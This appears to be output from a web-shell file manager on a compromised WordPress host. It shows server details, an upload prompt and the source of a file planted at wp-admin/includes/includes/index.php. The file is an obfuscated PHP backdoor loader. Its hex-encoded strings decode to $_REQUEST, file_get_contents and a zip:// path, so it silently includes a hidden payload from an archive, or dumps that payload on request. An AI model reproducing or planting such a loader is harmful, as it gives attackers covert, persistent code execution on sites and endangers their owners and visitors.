HEX
Server: nginx/1.26.0
System: Linux iZj6ceg0gjdkbpnmyl2cnnZ 5.15.60-1.el7.x86_64 #1 SMP Thu Aug 11 12:39:22 UTC 2022 x86_64
User: www (1000)
PHP: 7.0.33
Disabled: phpinfo,eval,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pfsockopen,fsocket,fsockopen
Upload Files
File: /data/wwwroot/sites/multitrustcapital.com/www/wp-admin/includes/includes/index.php
<?php  error_reporting(0); $spWiH = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6d\x6f\x76\x5f\x36\x39\x31\x63\x30\x36\x62\x30\x63\x64\x64\x34\x32\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x31\x63\x30\x36\x62\x30\x63\x64\x64\x34\x32\x2e\x74\x6d\x70", ); (${$spWiH[0]}["\157\x66"]==1) && die($spWiH[1]($spWiH[2])); @include_once $spWiH[2]; ?>